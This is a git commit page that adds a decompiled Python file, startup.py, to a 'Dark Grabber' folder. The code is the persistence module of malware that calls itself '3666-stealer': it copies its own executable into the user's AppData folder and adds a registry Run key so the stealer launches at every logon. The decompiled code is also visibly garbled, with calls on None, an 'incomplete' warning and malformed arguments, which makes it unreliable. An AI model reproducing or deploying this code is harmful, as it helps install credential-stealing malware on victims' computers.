add: annexe pour les fichiers de dark grabber
This commit is contained in:
58
Random/Dark Grabber/Annexes/startup.py
Executable file
58
Random/Dark Grabber/Annexes/startup.py
Executable file
@@ -0,0 +1,58 @@
|
||||
# Source Generated with Decompyle++
|
||||
# File: startup.pyc (Python 3.10)
|
||||
|
||||
import subprocess
|
||||
import os
|
||||
import shutil
|
||||
import sys
|
||||
|
||||
class Startup:
|
||||
|
||||
def __init__(self = None):
|
||||
self.working_dir = os.getenv('APPDATA') + '\\3666-stealer'
|
||||
if self.check_self():
|
||||
return None
|
||||
None.mkdir()
|
||||
self.write_stub()
|
||||
self.regedit()
|
||||
|
||||
|
||||
def check_self(self = None):
|
||||
if os.path.realpath(sys.executable) == self.working_dir + '\\dat.txt':
|
||||
return True
|
||||
|
||||
|
||||
def mkdir(self = None):
|
||||
if not os.path.isdir(self.working_dir):
|
||||
os.mkdir(self.working_dir)
|
||||
return None
|
||||
None.rmtree(self.working_dir)
|
||||
os.mkdir(self.working_dir)
|
||||
|
||||
|
||||
def write_stub(self = None):
|
||||
shutil.copy2(os.path.realpath(sys.executable), self.working_dir + '\\dat.txt')
|
||||
# WARNING: Decompyle incomplete
|
||||
|
||||
|
||||
def regedit(self = None):
|
||||
subprocess.run([
|
||||
'reg',
|
||||
'delete',
|
||||
'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
|
||||
'/v',
|
||||
'3666-stealer',
|
||||
'/f'], True, **('args', 'shell'))
|
||||
subprocess.run([
|
||||
'reg',
|
||||
'add',
|
||||
'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run',
|
||||
'/v',
|
||||
'3666-stealer',
|
||||
'/t',
|
||||
'REG_SZ',
|
||||
'/d',
|
||||
f'''{self.working_dir}\\run.bat''',
|
||||
'/f'], True, **('args', 'shell'))
|
||||
|
||||
|
||||
Reference in New Issue
Block a user